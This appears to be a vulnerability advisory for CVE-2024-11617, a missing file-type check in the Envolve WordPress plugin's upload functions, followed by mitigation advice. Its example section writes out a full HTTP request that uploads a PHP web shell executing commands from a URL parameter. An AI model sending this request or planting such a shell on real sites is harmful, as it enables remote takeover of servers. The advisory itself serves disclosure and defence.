Overview
In the world of cybersecurity, a new vulnerability has been discovered in the Envolve Plugin for WordPress, documented as CVE-2024-11617. This critical vulnerability allows unauthenticated attackers to exploit the plugin’s missing file type validation to upload arbitrary files to the affected site’s server. This can potentially lead to remote code execution, putting the entire system at risk. Given the widespread use of WordPress as a platform for websites, this vulnerability presents a significant threat and should be addressed promptly.
Vulnerability Summary
CVE ID: CVE-2024-11617
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Envolve Plugin for WordPress | <= 1.0 How the Exploit Works
The vulnerability lies in the ‘zetra_languageUpload’ and ‘zetra_fontsUpload’ functions of the Envolve Plugin for WordPress. These functions lack proper file type validation, enabling an attacker to upload arbitrary files to the server. An attacker could exploit this vulnerability to upload a malicious script, which, when executed, could result in full system compromise.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability could be exploited using an HTTP POST request:
POST /wp-content/envolve-plugin/zetra_languageUpload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, the attacker is uploading a malicious PHP file that can execute system commands from the GET parameter ‘cmd’. Once the malicious file is on the server, the attacker can trigger its execution by simply navigating to its location on the web server.
Mitigation Guidance
Website administrators using the Envolve plugin should apply the vendor patch as soon as it becomes available. In the meantime, they can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Regularly updating systems and plugins, as well as implementing robust security measures, is crucial to maintaining a secure online presence.